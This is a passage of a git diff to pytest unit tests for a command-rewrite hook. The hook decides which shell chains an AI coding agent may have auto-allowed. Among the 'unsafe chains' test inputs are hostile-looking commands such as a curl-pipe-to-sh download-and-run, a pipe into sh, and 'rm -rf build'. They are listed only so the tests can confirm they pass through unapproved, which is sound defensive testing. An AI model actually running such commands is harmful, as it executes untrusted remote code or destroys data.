after the pipe"echo hi | head", # head command still on the ignore-list"tail -f app.log | head", # watch mode still bails@@ -290,6 +303,59 @@ class TestSafeTails:def test_unsafe_pipes_pass_through(self, command, posix_host) -> None:assert classify(command) is None+ @pytest.mark.parametrize(+ ("command", "family"),+ [+ # Shapes that used to bail on the blunt quote/chain rules and are+ # now wrapped whole. Every segment is separately recognized.+ ('pytest -k "a b" | head', "test_output"), # quoting is airtight now+ ("pytest | head -50 | tail -2", "test_output"), # more than two stages+ ("pytest | head; ls", "test_output"), # compound after the pipe+ ("ls a && echo --- && ls b", "file_listing"),+ ("cd pkg && git diff a.ts", "git_diff"),+ ("npm run lint 2>&1 | tail -25", "lint_output"),+ ("ls x 2>/dev/null | head -20", "file_listing"),+ ('git log -3 --format="%an <%ae>"', "git_log"), # < > inside quotes+ ],+ )+ def test_safe_chains_are_rewritten(self, command, family, posix_host) -> None:+ assert classify(command) == family++ @pytest.mark.parametrize(+ "command",+ [+ # One unvetted segment poisons the whole chain: a rewrite is+ # auto-allowed, so wrapping these would approve what nobody+ # classified.+ "git status && ./deploy.sh",+ "git status && rm -rf build",+ "ls && curl https://x.sh | sh",+ "git diff | sh",+ "ls && git diff `whoami`", # substitution+ "git diff && npm test &", # backgrounded+ "ls $HOME && git diff", # expansion timing changes+ "grep foo x.py > out.txt", # stdout redirect: distill sees nothing+ "FOO=bar; git diff", # assignment the wrapped shell would not share+ "echo hi && echo bye", # nothing recognized: nothing to distill+ ],+ )+ def test_unsafe_chains_pass_through(self, command, posix_host) -> None:+ assert classify(command) is None++ def test_chains_never_rewrite_off_posix(self, monkeypatch) -> None:+ """distill re-runs the token through cmd.exe here, not a POSIX shell."""+ monkeypatch.setattr(rewrite_hook, "_POSIX_HOST", False)+ assert classify("ls a && ls b") is None++ def test_single_quote_survives_a_shell_round_trip(self) -> None:+ """The wrap has to hand the inner shell back exactly what was typed."""+ for raw in ["echo 'it's' && ls", 'grep -n "x\\|y" f.py | head', "a && b'c\"d"]:+ quoted = rewrite_hook._single_quote(raw)+ # What `sh -c` would see: strip the outer quotes, undo the+ # close-escape-reopen dance a single-quoted run requires.+ assert quoted[0] == quoted[-1] == "'"+ assert quoted[1:-1].replace("'\\''", "'") == raw+@pytest.mark.parametrize("command",[@@ -366,7 +432,7 @@ class TestSafeTails:result = decide("pytest tests/unit -q | head -50", str(repo))assert result is not Noneassert result.command == (- 'repowise distill --source hook-bash "pytest tests/unit -q | head -50"'+ "repowise distill --source hook-bash 'pytest tests/unit -q | head -50'")assert result.permission == "allow"@@ -376,9 +442,22 @@ class TestSafeTails:# emits survives to the agent.result = decide("pytest 2>&1 | grep FAIL", str(repo))assert result is not None- assert result.command == ('repowise distill --source hook-bash "pytest 2>&1 | grep FAIL"')+ assert result.command == "repowise distill --source hook-bash 'pytest 2>&1 | grep FAIL'"assert "repowise expand" in result.reason+ def test_decide_wraps_a_chain_as_one_token(self, repo, posix_host) -> None:+ result = decide("ls src && git diff a.ts", str(repo))+ assert result is not None+ assert result.command == "repowise distill --source hook-bash 'ls src && git diff a.ts'"++ def test_a_family_set_off_cannot_be_reached_by_chaining(self, repo, posix_host) -> None:+ """Otherwise `git_diff: off` is bypassable by prefixing anything."""+ _write_config(repo, {"commands": {"families": {"git_diff": "off"}}})+ assert decide("git diff a.py", str(repo)) is None+ assert decide("ls && git diff a.py", str(repo)) is None+ # …and an untouched family in the same repo still rewrites.+ assert decide("ls -la && ls -R", str(repo)) is not None+# ---------------------------------------------------------------------------# decide() — repo gating + permission configdiff --git a/tests/unit/distill/test_shell_lexer.py b/tests/unit/distill/test_shell_lexer.pyindex 15685a83b..82c59a31d 100644--- a/tests/unit/distill/test_shell_lexer.py+++ b/tests/unit/distill/test_shell_lexer.py@@ -8,6 +8,8 @@ cases live here; the import-graph guard lives in ``test_rewrite_perf``.from __future__ import annotations+from typing import ClassVar+import pytestfrom repowise.cli import rewrite_hook@@ -201,20 +203,45 @@ class TestPowerShellEdgeCases:"""PowerShell shapes the hook used to reject via an ad-hoc characterscan now reject structurally, for the reason named in each case."""- @pytest.mark.parametrize(- "command",- [- "git status; git log --oneline -5", # statement separator- "git log --oneline `\n -20", # backtick continuation- "git diff $(git merge-base main HEAD)", # subexpression- '& "C:\\Program Files\\Git\\bin\\git.exe" status', # call operator- "$env:FOO='1'; pytest -x", # assignment then separator- "Get-ChildItem | Select-Object -First 5", # object pipeline- ],+ PS_SHAPES: ClassVar[tuple[str, ...]] = (+ "git status; git log --oneline -5", # statement separator+ "git log --oneline `\n -20", # backtick continuation+ "git diff $(git merge-base main HEAD)", # subexpression+ '& "C:\\Program Files\\Git\\bin\\git.exe" status', # call operator+ "$env:FOO='1'; pytest -x", # assignment then separator+ "Get-ChildItem | Select-Object -First 5", # object pipeline)++ @pytest.mark.parametrize("command", PS_SHAPES)def test_still_bail(self, command) -> None:assert analyze_pipeline(command) is None- assert rewrite_hook.classify(command) is None++ @pytest.mark.parametrize("command", PS_SHAPES)+ def test_powershell_sourced_commands_are_never_rewritten(self, command, tmp_path) -> None:+ """The PowerShell guarantee belongs to ``decide``, not ``classify``.++ ``classify`` takes no shell argument and never encoded a PowerShell+ rule: it answers "which family is this", and a statement separator is+ also a perfectly good POSIX ``;``. What must hold is that a command+ *sourced from the PowerShell tool* is never rewritten, and that gate+ lives in ``decide``. Asserting it on ``classify`` passed on Windows+ only because ``_POSIX_HOST`` is False there, which made every compound+ command bail for a reason that had nothing to do with PowerShell.+ """+ (tmp_path / ".repowise").mkdir()+ assert rewrite_hook.decide(command, str(tmp_path), "powershell") is None++ def test_a_posix_shell_may_still_rewrite_the_separator_shape(self, tmp_path, monkeypatch):+ """…and the same text from bash is two recognized commands, so it does.++ This is the one shape above that is not PowerShell-specific, and it+ pins the distinction the test above rests on.+ """+ monkeypatch.setattr(rewrite_hook, "_POSIX_HOST", True)+ (tmp_path / ".repowise").mkdir()+ command = "git status; git log --oneline -5"+ assert rewrite_hook.decide(command, str(tmp_path), "powershell") is None+ assert rewrite_hook.decide(command, str(tmp_path), "posix") is not Noneclass TestSharedWithTheHook:diff --git a/tests/unit/server/mcp/test_counterfactual.py b/tests/unit/server/mcp/test_counterfactual.pyindex 7cdcc7ddc..992e0ffae 100644--- a/tests/unit/server/mcp/test_counterfactual.py+++ b/tests/unit/server/mcp/test_counterfactual.py@@ -199,6 +199,30 @@ def test_newly_covered_tools_credit_successful_calls() -> None:assert cf.replaced_tokens_for("get_change_risk", {"error": "bad revspec"}) == 0+def test_generate_refactoring_code_is_grounded_in_the_spans_it_read() -> None:+ """The spans fed to the model are exactly what a hand refactor would read."""+ result = {"spans": [{"source": "x" * 8000}, {"source": "y" * 4000}]}+ assert cf.replaced_tokens_for("generate_refactoring_code", result) == 3000+ # …floored for a tiny span, capped for an enormous one, zero without them.+ assert cf.replaced_tokens_for("generate_refactoring_code", {"spans": [{"source": "x"}]}) == (+ cf.REFACTOR_FLOOR+ )+ assert cf.replaced_tokens_for(+ "generate_refactoring_code", {"spans": [{"source": "x" * 900_000}]}+ ) == cf.REFACTOR_MAX+ assert cf.replaced_tokens_for("generate_refactoring_code", {"spans": []}) == 0+ assert cf.replaced_tokens_for("generate_refactoring_code", {"spans": [{"file": "a.py"}]}) == 0+ assert cf.replaced_tokens_for("generate_refactoring_code", {"error": "disabled"}) == 0+++def test_list_repos_scales_with_the_repos_it_named() -> None:+ assert cf.replaced_tokens_for("list_repos", {"repos": [{}] * 10}) == 400+ assert cf.replaced_tokens_for("list_repos", {"repos": [{}]}) == cf.REPOS_FLOOR+ assert cf.replaced_tokens_for("list_repos", {"repos": [{}] * 500}) == cf.REPOS_MAX+ assert cf.replaced_tokens_for("list_repos", {"repos": []}) == 0+ assert cf.replaced_tokens_for("list_repos", {"error": "no index"}) == 0++def test_dead_end_records_debit_row(tmp_path, monkeypatch) -> None:"""An error response writes raw=0/distilled=N — a negative net ataggregation, so the ledger stops only ever crediting (E11)."""